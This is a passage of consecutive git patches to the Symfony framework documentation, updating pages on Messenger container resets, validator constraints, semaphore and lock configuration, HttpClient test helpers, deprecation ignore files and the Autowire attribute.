--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -239,7 +239,7 @@ method name:
                 ->factory(service(InvokableNewsletterManagerFactory::class));
         };
 
-Using Expressions in Email Factories
+Using Expressions in Service Factories
 --------------------------------------
 
 .. versionadded:: 6.1

From c150197d314e45c6f97cb9d53bca8218f18be021 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Fri, 29 Apr 2022 13:35:51 -0400
Subject: [PATCH 1858/5766] [Messenger] fix xml block

---
 messenger.rst | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 605561e39d5..56ef5af1382 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -753,8 +753,8 @@ reset the service container between two messages:
                 https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <framework:messenger>
-                    <framework:transport name="async" dsn="%env(MESSENGER_TRANSPORT_DSN)%" reset-on-message="true">
+                <framework:messenger reset-on-message="true">
+                    <framework:transport name="async" dsn="%env(MESSENGER_TRANSPORT_DSN)%">
                     </framework:transport>
                 </framework:messenger>
             </framework:config>
@@ -775,6 +775,12 @@ reset the service container between two messages:
 
     The ``reset_on_message`` option was introduced in Symfony 5.4.
 
+.. note::
+
+    ``reset_on_message`` will default to true (with no other allowed value) in
+    Symfony 6. To disable this behavior, execute the ``messenger:consume``
+    command with the ``--no-reset`` option.
+
 .. _messenger-retries-failures:
 
 Retries & Failures

From 3fd53b98d165e68d7f92de727529ae8619593f1a Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Tue, 3 May 2022 09:25:25 +0200
Subject: [PATCH 1859/5766] Fix typo in the Unique constraint

---
 reference/constraints/Unique.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 4e24a5f8b3b..45212679259 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -157,7 +157,7 @@ collection::
         # config/validator/validation.yaml
         App\Entity\Poi:
             properties:
-                contactEmails:
+                coordinates:
                     - Unique:
                           fields: [latitude, longitude]
 
@@ -172,8 +172,10 @@ collection::
             <class name="App\Entity\Poi">
                 <property name="coordinates">
                     <constraint name="Unique">
-                        <field>latitude</field>
-                        <field>longitude</field>
+                        <option name="fields">
+                            <value>latitude</value>
+                            <value>longitude</value>
+                        </option>
                     </constraint>
                 </property>
             </class>
@@ -191,7 +193,7 @@ collection::
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
-                $metadata->addPropertyConstraint('contactEmails', new Assert\Unique([
+                $metadata->addPropertyConstraint('coordinates', new Assert\Unique([
                     'fields' => ['latitude', 'longitude'],
                 ]));
             }

From da915703a7222b68378be3b9375fa0d7b1bae02c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 3 May 2022 12:31:42 +0200
Subject: [PATCH 1860/5766] [DependencyInjection] Fix a reference to the
 article about expressions

---
 frontend/encore/simple-example.rst | 1 -
 service_container/factories.rst    | 2 +-
 2 files changed, 1 insertion(+), 2 deletions(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index b8838354235..21a3bad9093 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -467,7 +467,6 @@ Encore supports many more features! For a full list of what you can do, see
 .. _`WebpackEncoreBundle Configuration`: https://github.com/symfony/webpack-encore-bundle#configuration
 .. _`Stimulus`: https://stimulus.hotwired.dev/
 .. _`Stimulus Documentation`: https://stimulus.hotwired.dev/handbook/introduction
-.. _`Symfony UX Packages`: https://github.com/symfony/ux
 .. _`Symfony Stimulus Bridge`: https://github.com/symfony/stimulus-bridge
 .. _`Turbo`: https://turbo.hotwired.dev/
 .. _`symfony/ux-turbo`: https://symfony.com/bundles/ux-turbo/current/index.html
diff --git a/service_container/factories.rst b/service_container/factories.rst
index e0dd2215b9e..985bbe72deb 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -247,7 +247,7 @@ Using Expressions in Service Factories
     Using expressions as factories was introduced in Symfony 6.1.
 
 Instead of using PHP classes as a factory, you can also use
-:doc:`expressions </service_container/expressions>`. This allows you to
+:doc:`expressions </service_container/expression_language>`. This allows you to
 e.g. change the service based on a parameter:
 
 .. configuration-block::

From 3c597d924f4f804febe687fc8c72147914e57aed Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Sun, 1 May 2022 21:36:24 +0200
Subject: [PATCH 1861/5766] Add documentation about semaphore configuration

---
 reference/configuration/framework.rst | 91 ++++++++++++++++++++++++---
 1 file changed, 84 insertions(+), 7 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 8a3c41d3c85..e98f4230f71 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -560,14 +560,14 @@ can also :ref:`disable CSRF protection on individual forms <form-csrf-customizat
 .. configuration-block::
 
     .. code-block:: yaml
-    
+
         # config/packages/framework.yaml
         framework:
             # ...
             csrf_protection: true
-            
+
     .. code-block:: xml
-    
+
         <!-- config/packages/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
@@ -581,9 +581,9 @@ can also :ref:`disable CSRF protection on individual forms <form-csrf-customizat
                 <framework:csrf-protection enabled="true"/>
             </framework:config>
         </container>
-        
+
     .. code-block:: php
-    
+
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
         return static function (FrameworkConfig $framework) {
@@ -3031,7 +3031,8 @@ resources
 
 **type**: ``array``
 
-A list of lock stores to be created by the framework extension.
+A map of lock stores to be created by the framework extension, with
+the name as key and DSN as value:
 
 .. configuration-block::
 
@@ -3054,7 +3055,7 @@ A list of lock stores to be created by the framework extension.
 
             <framework:config>
                 <framework:lock>
-                    <framework:resource>%env(LOCK_DSN)%</framework:resource>
+                    <framework:resource name="default">%env(LOCK_DSN)%</framework:resource>
                 </framework:lock>
             </framework:config>
         </container>
@@ -3082,6 +3083,82 @@ name
 
 Name of the lock you want to create.
 
+semaphore
+~~~~~~~~~
+
+.. versionadded:: 6.1
+
+    The ``semaphore`` option was introduced in Symfony 6.1.
+
+**type**: ``string`` | ``array``
+
+The default semaphore adapter. Store's DSN are also allowed.
+
+.. _reference-semaphore-enabled:
+
+enabled
+.......
+
+**type**: ``boolean`` **default**: ``true``
+
+Whether to enable the support for semaphore or not. This setting is
+automatically set to ``true`` when one of the child settings is configured.
+
+.. _reference-semaphore-resources:
+
+resources
+.........
+
+**type**: ``array``
+
+A map of semaphore stores to be created by the framework extension, with
+the name as key and DSN as value:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/semaphore.yaml
+        framework:
+            semaphore: '%env(SEMAPHORE_DSN)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/semaphore.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:semaphore>
+                    <framework:resource name="default">%env(SEMAPHORE_DSN)%</framework:resource>
+                </framework:semaphore>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/semaphore.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->semaphore()
+                ->resource('default', ['%env(SEMAPHORE_DSN)%']);
+        };
+
+.. _reference-semaphore-resources-name:
+
+name
+""""
+
+**type**: ``prototype``
+
+Name of the semaphore you want to create.
+
 mailer
 ~~~~~~
 

From c86e9575a3771b170887a0961f338973524333a2 Mon Sep 17 00:00:00 2001
From: Christopher <chris@johnstoncode.com>
Date: Fri, 1 Oct 2021 11:11:44 +0100
Subject: [PATCH 1862/5766] [HttpClient] Update http client testing section

---
 http_client.rst | 10 ----------
 1 file changed, 10 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 6055fa7540c..c8ed1171659 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1471,8 +1471,6 @@ Testing Request Data
 
 The ``MockResponse`` class comes with some helper methods to test the request:
 
-* ``getRequestMethod()`` - returns the HTTP method;
-* ``getRequestUrl()`` - returns the URL the request would be sent to;
 * ``getRequestOptions()`` - returns an array containing other information about
   the request such as headers, query parameters, body content etc.
 
@@ -1488,12 +1486,6 @@ Usage example::
         ],
     ]);
 
-    $mockResponse->getRequestMethod();
-    // returns "DELETE"
-
-    $mockResponse->getRequestUrl();
-    // returns "https://example.com/api/article/1337"
-
     $mockResponse->getRequestOptions()['headers'];
     // returns ["Accept: */*", "Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l"]
 
@@ -1567,8 +1559,6 @@ test it in a real application::
             $responseData = $service->createArticle($requestData);
 
             // Assert
-            self::assertSame('POST', $mockResponse->getRequestMethod());
-            self::assertSame('https://example.com/api/article', $mockResponse->getRequestUrl());
             self::assertContains(
                 'Content-Type: application/json',
                 $mockResponse->getRequestOptions()['headers']

From 24311262be5e375c389d99b2b2d2311bd21b1308 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 3 May 2022 16:50:09 +0200
Subject: [PATCH 1863/5766] Readd some missing contents

---
 http_client.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 852ec84c7b7..8123c081aa7 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1837,9 +1837,16 @@ Testing Request Data
 
 The ``MockResponse`` class comes with some helper methods to test the request:
 
+* ``getRequestMethod()`` - returns the HTTP method;
+* ``getRequestUrl()`` - returns the URL the request would be sent to;
 * ``getRequestOptions()`` - returns an array containing other information about
   the request such as headers, query parameters, body content etc.
 
+.. versionadded:: 5.2
+
+    The ``getRequestMethod()`` and ``getRequestUrl()`` methods were introduced
+    in Symfony 5.2.
+
 Usage example::
 
     $mockResponse = new MockResponse('', ['http_code' => 204]);
@@ -1852,6 +1859,12 @@ Usage example::
         ],
     ]);
 
+    $mockResponse->getRequestMethod();
+    // returns "DELETE"
+
+    $mockResponse->getRequestUrl();
+    // returns "https://example.com/api/article/1337"
+
     $mockResponse->getRequestOptions()['headers'];
     // returns ["Accept: */*", "Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l"]
 
@@ -1925,6 +1938,8 @@ test it in a real application::
             $responseData = $service->createArticle($requestData);
 
             // Assert
+            self::assertSame('POST', $mockResponse->getRequestMethod());
+            self::assertSame('https://example.com/api/article', $mockResponse->getRequestUrl());
             self::assertContains(
                 'Content-Type: application/json',
                 $mockResponse->getRequestOptions()['headers']

From 3f4fb3c73bad60cf9a2b539900627c6fb5987143 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 3 May 2022 16:50:45 +0200
Subject: [PATCH 1864/5766] Removed a versionadded directive

---
 http_client.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index ca6d4cca534..332e2ccd6e3 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1800,11 +1800,6 @@ The ``MockResponse`` class comes with some helper methods to test the request:
 * ``getRequestOptions()`` - returns an array containing other information about
   the request such as headers, query parameters, body content etc.
 
-.. versionadded:: 5.2
-
-    The ``getRequestMethod()`` and ``getRequestUrl()`` methods were introduced
-    in Symfony 5.2.
-
 Usage example::
 
     $mockResponse = new MockResponse('', ['http_code' => 204]);

From 5e18c12562b17e05c4f82944468379135ab3b098 Mon Sep 17 00:00:00 2001
From: mondrake <mondrake.org@gmail.com>
Date: Sun, 1 May 2022 22:07:06 +0200
Subject: [PATCH 1865/5766] PHPUnitBridge ignoreFile option

---
 components/phpunit_bridge.rst | 38 +++++++++++++++++++++++++++++++----
 1 file changed, 34 insertions(+), 4 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 0ee30f1a79f..e7a140f6a4c 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -289,13 +289,43 @@ Here is a summary that should help you pick the right configuration:
 |                        | cannot afford to use one of the modes above.        |
 +------------------------+-----------------------------------------------------+
 
+Ignore Deprecations
+...................
+
+.. versionadded:: 6.1
+
+    The ``ignoreFile`` feature was introduced in Symfony 6.1.
+
+If your application has some deprecations that you can't fix for some reasons,
+you can tell Symfony to ignore them.
+
+You need first to create a simple text file with a list of ignore patterns. Each
+pattern is a regular expression.
+
+Lines beginning with an hash (#) will be considered comments:
+
+.. code-block:: terminal
+
+    # This file contains patterns to be ignored while testing for use of
+    # deprecated code.
+
+    %The "Symfony\\Component\\Validator\\Context\\ExecutionContextInterface::.*\(\)" method is considered internal Used by the validator engine\. (Should not be called by user\W+code\. )?It may change without further notice\. You should not extend it from "[^"]+"\.%
+    %The "PHPUnit\\Framework\\TestCase::addWarning\(\)" method is considered internal%
+
+Then, you can run the following command to use that file and ignore those deprecations:
+
+.. code-block:: terminal
+
+    $ SYMFONY_DEPRECATIONS_HELPER='ignoreFile=./tests/baseline-ignore' ./vendor/bin/simple-phpunit
+
 Baseline Deprecations
 .....................
 
-If your application has some deprecations that you can't fix for some reasons,
-you can tell Symfony to ignore them. The trick is to create a file with the
-allowed deprecations and define it as the "deprecation baseline". Deprecations
-inside that file are ignored but the rest of deprecations are still reported.
+You can also take a snapshot of deprecations currently triggered by your application
+code, and ignore those during your test runs, still reporting newly added ones.
+The trick is to create a file with the allowed deprecations and define it as the
+"deprecation baseline". Deprecations inside that file are ignored but the rest of
+deprecations are still reported.
 
 First, generate the file with the allowed deprecations (run the same command
 whenever you want to update the existing file):

From e7acfd907449120744b2520e85cda0e691b6e4a0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 3 May 2022 17:36:22 +0200
Subject: [PATCH 1866/5766] Minor reword

---
 components/phpunit_bridge.rst | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index e7a140f6a4c..b823080629d 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -289,8 +289,8 @@ Here is a summary that should help you pick the right configuration:
 |                        | cannot afford to use one of the modes above.        |
 +------------------------+-----------------------------------------------------+
 
-Ignore Deprecations
-...................
+Ignoring Deprecations
+.....................
 
 .. versionadded:: 6.1
 
@@ -299,10 +299,9 @@ Ignore Deprecations
 If your application has some deprecations that you can't fix for some reasons,
 you can tell Symfony to ignore them.
 
-You need first to create a simple text file with a list of ignore patterns. Each
-pattern is a regular expression.
-
-Lines beginning with an hash (#) will be considered comments:
+You need first to create a text file where each line is a deprecation to ignore
+defined as a regular expression. Lines beginning with a hash (``#``) are
+considered comments:
 
 .. code-block:: terminal
 

From 2bf52dda9fff89630b247d83a09e0dc893ee17d7 Mon Sep 17 00:00:00 2001
From: Mark van den Berg <mjpvandenberg@gmail.com>
Date: Tue, 3 May 2022 22:08:03 +0200
Subject: [PATCH 1867/5766] AsMessageHandler can be used on class methods

---
 messenger.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 228e2c74c01..4fbfdb5ab4b 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -76,6 +76,13 @@ message class (or a message interface)::
     using PHP 7.4), by implementing :class:`Symfony\\Component\\Messenger\\Handler\\MessageHandlerInterface`
     instead.
 
+.. note::
+
+    As of Symfony 6.1, the ``AsMessageHandler`` attribute can be used on individual 
+    class methods as well. You may use the attribute on as many methods in a single
+    class as you like, allowing you to group the handling of multiple related types 
+    of messages.
+
 Thanks to :ref:`autoconfiguration <services-autoconfigure>` and the ``SmsNotification``
 type-hint, Symfony knows that this handler should be called when an ``SmsNotification``
 message is dispatched. Most of the time, this is all you need to do. But you can

From dba5d2a7084a32a359702afeeefdba42eef14aa8 Mon Sep 17 00:00:00 2001
From: Tomas <norkunas.tom@gmail.com>
Date: Mon, 2 May 2022 07:15:06 +0300
Subject: [PATCH 1868/5766] [Validator] Showcase custom validator constraint
 required option

---
 validation/custom_constraint.rst | 55 +++++++++++++++++++++++++++++++-
 1 file changed, 54 insertions(+), 1 deletion(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index c68b4e125de..6eb40db5d9f 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -48,6 +48,59 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen
 Add ``@Annotation`` or ``#[\Attribute]`` to the constraint class if you want to
 use it as an annotation/attribute in other classes.
 
+.. versionadded:: 6.1
+
+    The ``#[HasNamedArguments]`` attribute was introduced in Symfony 6.1.
+
+You can use ``#[HasNamedArguments]`` or ``getRequiredOptions()`` to make some constraint options required:
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Validator/ContainsAlphanumeric.php
+        namespace App\Validator;
+
+        use Symfony\Component\Validator\Constraint;
+
+        /**
+         * @Annotation
+         */
+        class ContainsAlphanumeric extends Constraint
+        {
+            public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
+            public $mode;
+
+            public function getRequiredOptions(): array
+            {
+                return ['mode'];
+            }
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Validator/ContainsAlphanumeric.php
+        namespace App\Validator;
+
+        use Symfony\Component\Validator\Attribute\HasNamedArguments;
+        use Symfony\Component\Validator\Constraint;
+
+        #[\Attribute]
+        class ContainsAlphanumeric extends Constraint
+        {
+            public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
+
+            public string $mode;
+
+            #[HasNamedArguments]
+            public function __construct(string $mode, array $groups = null, mixed $payload = null)
+            {
+                parent::__construct([], $groups, $payload);
+
+                $this->mode = $mode;
+            }
+        }
+
 Creating the Validator itself
 -----------------------------
 
@@ -271,7 +324,7 @@ not to the property:
         namespace App\Entity;
 
         use App\Validator as AcmeAssert;
-        
+
         /**
          * @AcmeAssert\ProtocolClass
          */

From 4384ab3eace3c66f5a76b77994ceb887a203bbb8 Mon Sep 17 00:00:00 2001
From: Alexandre Bertrand <trandbert37@users.noreply.github.com>
Date: Wed, 4 May 2022 10:02:24 +0200
Subject: [PATCH 1869/5766] [Form] Fix an inversion between object and class

---
 form/embedded.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/embedded.rst b/form/embedded.rst
index 787580a41d1..156b8a7a767 100644
--- a/form/embedded.rst
+++ b/form/embedded.rst
@@ -15,7 +15,7 @@ Embedding a Single Object
 -------------------------
 
 Suppose that each ``Task`` belongs to a ``Category`` object. Start by
-creating the ``Category`` object::
+creating the ``Category`` class::
 
     // src/Entity/Category.php
     namespace App\Entity;

From 3820455780e09c28f73c489f42445ae0580ad8cc Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Wed, 4 May 2022 09:50:20 -0400
Subject: [PATCH 1870/5766] removing references to flex.symfony.com

---
 page_creation.rst           | 2 +-
 quick_tour/flex_recipes.rst | 4 ++--
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index af315b188c4..48e20b08e0b 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -368,4 +368,4 @@ Go Deeper with HTTP & Framework Fundamentals
 .. _`Twig`: https://twig.symfony.com
 .. _`Composer`: https://getcomposer.org
 .. _`Stellar Development with Symfony`: https://symfonycasts.com/screencast/symfony/setup
-.. _`Flex recipes`: https://flex.symfony.com
+.. _`Flex recipes`: https://github.com/symfony/recipes/blob/flex/main/RECIPES.md
diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index 7df715aca5a..7135c6b3ecd 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -53,7 +53,7 @@ It's a way for a library to automatically configure itself by adding and modifyi
 files. Thanks to recipes, adding features is seamless and automated: install a package
 and you're done!
 
-You can find a full list of recipes and aliases by going to `https://flex.symfony.com`_.
+You can find a full list of recipes and aliases inside `RECIPES.md on the recipes repository`_.
 
 What did this recipe do? In addition to automatically enabling the feature in
 ``config/bundles.php``, it added 3 things:
@@ -264,6 +264,6 @@ and it's the most important yet. I want to show you how Symfony empowers you to
 build features *without* sacrificing code quality or performance. It's all about
 the service container, and it's Symfony's super power. Read on: about :doc:`/quick_tour/the_architecture`.
 
-.. _`https://flex.symfony.com`: https://flex.symfony.com
+.. _`RECIPES.md on the recipes repository`: https://github.com/symfony/recipes/blob/flex/main/RECIPES.md
 .. _`API Platform`: https://api-platform.com/
 .. _`Twig`: https://twig.symfony.com/

From 1f2f0e4870c15943e06a0b0b1f30f5bbe7d67ac6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 May 2022 16:20:49 +0200
Subject: [PATCH 1871/5766] Remove an unused reference

---
 frontend/encore/simple-example.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index b8838354235..21a3bad9093 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -467,7 +467,6 @@ Encore supports many more features! For a full list of what you can do, see
 .. _`WebpackEncoreBundle Configuration`: https://github.com/symfony/webpack-encore-bundle#configuration
 .. _`Stimulus`: https://stimulus.hotwired.dev/
 .. _`Stimulus Documentation`: https://stimulus.hotwired.dev/handbook/introduction
-.. _`Symfony UX Packages`: https://github.com/symfony/ux
 .. _`Symfony Stimulus Bridge`: https://github.com/symfony/stimulus-bridge
 .. _`Turbo`: https://turbo.hotwired.dev/
 .. _`symfony/ux-turbo`: https://symfony.com/bundles/ux-turbo/current/index.html

From fd05739e1ec0312ade7742360bf300dc81f0b747 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Wed, 4 May 2022 09:41:54 -0400
Subject: [PATCH 1872/5766] [DependencyInjection] adjust `Autowire` attribute
 docs

---
 controller.rst                   |  6 +++---
 service_container/autowiring.rst | 10 +++++-----
 2 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/controller.rst b/controller.rst
index 00da69fc15c..2eb1af1fe03 100644
--- a/controller.rst
+++ b/controller.rst
@@ -225,8 +225,8 @@ command:
 
 .. tip::
 
-    If you need control over the *exact* value of an argument, you can use the
-    ``#[Autowire]`` attribute::
+    If you need control over the *exact* value of an argument, or require a parameter,
+    you can use the ``#[Autowire]`` attribute::
 
         // ...
         use Psr\Log\LoggerInterface;
@@ -239,7 +239,7 @@ command:
                 int $max,
 
                 // inject a specific logger service
-                #[Autowire('@monolog.logger.request')]
+                #[Autowire(service: 'monolog.logger.request')]
                 LoggerInterface $logger,
 
                 // or inject parameter values
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index b5387415614..a4a6f63bbcb 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -545,8 +545,8 @@ To fix this, you can :ref:`manually wire the problematic argument <services-manu
 in the service configuration. You wire up only the difficult arguments,
 Symfony takes care of the rest.
 
-You can also use the ``#[Autowire]`` parameter attribute to configure the
-problematic arguments:
+You can also use the ``#[Autowire]`` parameter attribute to instruct the autowiring
+logic about those arguments:
 
     // src/Service/MessageGenerator.php
     namespace App\Service;
@@ -557,7 +557,7 @@ problematic arguments:
     class MessageGenerator
     {
         public function __construct(
-            #[Autowire('@monolog.logger.request')] LoggerInterface $logger
+            #[Autowire(service: 'monolog.logger.request')] LoggerInterface $logger
         ) {
             // ...
         }
@@ -586,8 +586,8 @@ and even :doc:`complex expressions </service_container/expression_language>`::
             #[Autowire('%kernel.debug%')]
             bool $debugMode,
 
-            // and @=... for expressions
-            #[Autowire("@=service("App\\Mail\\MailerConfiguration").getMailerMethod()")]
+            // and expressions
+            #[Autowire(expression: "service("App\\Mail\\MailerConfiguration").getMailerMethod()")]
             string $mailerMethod
         ) {
         }

From 235b3029f761433851bba52571d12e967f7d1312 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 May 2022 16:29:54 +0200
Subject: [PATCH 1873/5766] Minor fix

---
 service_container/autowiring.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index a4a6f63bbcb..a63dc85cc2a 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -587,7 +587,7 @@ and even :doc:`complex expressions </service_container/expression_language>`::
             bool $debugMode,
 
             // and expressions
-            #[Autowire(expression: "service("App\\Mail\\MailerConfiguration").getMailerMethod()")]
+            #[Autowire(expression: 'service("App\\Mail\\MailerConfiguration").getMailerMethod()')]
             string $mailerMethod
         ) {
         }

From 475a86633a0cbc516d132987713311dd3eddba8f Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Wed, 4 May 2022 17:18:57 +0200
Subject: [PATCH 1874/5766] amqp no autocreate queues, see #16689

---
 messenger.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/messenger.rst b/messenger.rst
index 8a4d66fe4ac..c32569630df 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -877,6 +877,7 @@ To use Symfony's built-in AMQP transport, you need the AMQP PHP extension.
     By default, the transport will automatically create any exchanges, queues and
     binding keys that are needed. That can be disabled, but some functionality
     may not work correctly (like delayed queues).
+    To not autocreate any queues, you can configure a transport with `queues: []`.
 
 The transport has a number of other options, including ways to configure
 the exchange, queues, binding keys and more. See the documentation on

From 9ac9388fc0e381103ba646246dbfd686c6a0f691 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 May 2022 17:24:09 +0200
Subject: [PATCH 1875/5766] Minor tweak

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 56ef5af1382..016274aec79 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -777,8 +777,8 @@ reset the service container between two messages:
 
 .. note::
 
-    ``reset_on_message`` will default to true (with no other allowed value) in
-    Symfony 6. To disable this behavior, execute the ``messenger:consume``
+    ``reset_on_message`` will default to ``true`` (with no other allowed value)
+    in Symfony 6. To disable this behavior, execute the ``messenger:consume``
     command with the ``--no-reset`` option.
 
 .. _messenger-retries-failures:

From f9b31a094fcaf46373d904ff6582c9745d5ce852 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 May 2022 17:36:08 +0200
Subject: [PATCH 1876/5766] [Messenger] remove reset_on_message config

---
 messenger.rst | 48 +++---------------------------------------------
 1 file changed, 3 insertions(+), 45 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 007bc80f6cf..f5426faf7ae 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -711,51 +711,9 @@ states to prevent information and/or memory leakage.
 
 However, certain Symfony services, such as the Monolog
 :ref:`fingers crossed handler <logging-handler-fingers_crossed>`, leak by design.
-In those cases, use the ``reset_on_message`` transport option to automatically
-reset the service container between two messages:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/messenger.yaml
-        framework:
-            messenger:
-                reset_on_message: true
-                transports:
-                    async:
-                        dsn: '%env(MESSENGER_TRANSPORT_DSN)%'
-
-    .. code-block:: xml
-
-        <!-- config/packages/messenger.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:messenger reset-on-message="true">
-                    <framework:transport name="async" dsn="%env(MESSENGER_TRANSPORT_DSN)%">
-                    </framework:transport>
-                </framework:messenger>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/messenger.php
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework) {
-            $messenger = $framework->messenger();
-
-            $messenger->resetOnMessage(true);
-        };
+That's why, by default, the service container is reset between consuming messages.
+To disable this behavior, execute the ``messenger:consume`` command with the
+``--no-reset`` option.
 
 .. _messenger-retries-failures:
 

From 1f0c87c53f139c815a2e08731f8d86fb4d379123 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Szymon=20Kami=C5=84ski?= <kaminskisj@gmail.com>
Date: Wed, 4 May 2022 20:31:29 +0200
Subject: [PATCH 1877/5766] [Serializer] Document support of canners

---
 components/serializer.rst | 16 ++++++++++------
 1 file changed, 10 insertions(+), 6 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 27d08f79ec3..706d2f492a4 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -746,8 +746,12 @@ If you are using isser methods (methods prefixed by ``is``, like
 ``App\Model\Person::isSportsperson()``), the Serializer component will
